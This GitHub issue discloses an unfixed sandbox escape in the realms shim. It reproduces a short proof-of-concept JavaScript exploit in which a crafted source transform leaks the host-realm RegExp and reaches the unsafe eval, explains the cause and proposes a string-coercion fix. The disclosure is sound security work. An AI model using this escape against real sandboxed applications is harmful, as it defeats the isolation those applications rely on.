Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

transforms rely upon user-provided "string", can capture wrong-realm RegExp #74

Open
warner opened this issue Oct 22, 2019 · 1 comment
Labels
security Relevant to security

Comments

@warner
Copy link
Member

warner commented Oct 22, 2019

Shortly after the 1.2.1 release, XmiliaH reported a new vulnerability in the shim. As explained in the blog post, we have stopped applying timely security fixes to the realms shim, so this represents an unfixed sandbox escape in the shim.

@XmiliaH's exploit looks like this:

const compartment = Realm.makeCompartment();
let HostRegExp;
try {
     compartment.evaluate('', undefined, {transforms: [{
         rewrite(rs) {
             return {src: {
                search(leaked) {
                   HostRegExp = leaked.constructor;
                   throw ''; // goto gotHostRegExp
                }
             }};
         }
     }]});
} catch (e) {
     // gotHostRegExp:
}
const HostObject = HostRegExp.__proto__.__proto__.constructor;

The attack exploits the fact that one of the source transforms assumes the input argument is a String, and applies a regular expression on it by invoking it's .search() method:

const htmlCommentPattern = new RegExp(`(?:${'<'}!--|--${'>'})`);
function rejectHtmlComments(s) {
  const index = s.search(htmlCommentPattern);
  if (index !== -1) {
    throw new SyntaxError(`possible html comment syntax rejected`);
  }
}

By supplying a non-string as the "transformed source" output of one transformer function, the subsequent transformer function (which doesn't transform anything, it just looks at the source code and rejects certain troublesome patterns) will get an object of the attacker's choosing. Because that code assumes the object is a String, it is invoked with the search() method and provided a RegExp object. That RegExp was built in the primal realm, allowing the attacker's fake search() method to follow the prototype chain up to the unsafe eval function.

It would have been a good idea to use uncurryThis to extract a safe uncompromised copy of String.prototype.search ahead of time, and invoking that against the (attacker-provided) alleged string. However the behavior of String and RegExp is complicated enough that this is no sure defense. The safest protection would be to coerce the alleged string into a real string first:

  const index = `${s}`.search(htmlCommentPattern);
@warner warner closed this as completed Oct 22, 2019
@warner warner changed the title placeholder 2 transforms rely upon user-provided "string", can capture wrong-realm RegExp Oct 24, 2019
@warner warner added the security Relevant to security label Oct 24, 2019
@warner
Copy link
Member Author

warner commented Oct 24, 2019

This is currently unfixed.

@warner warner reopened this Oct 24, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
security Relevant to security
Projects
None yet
Development

No branches or pull requests

1 participant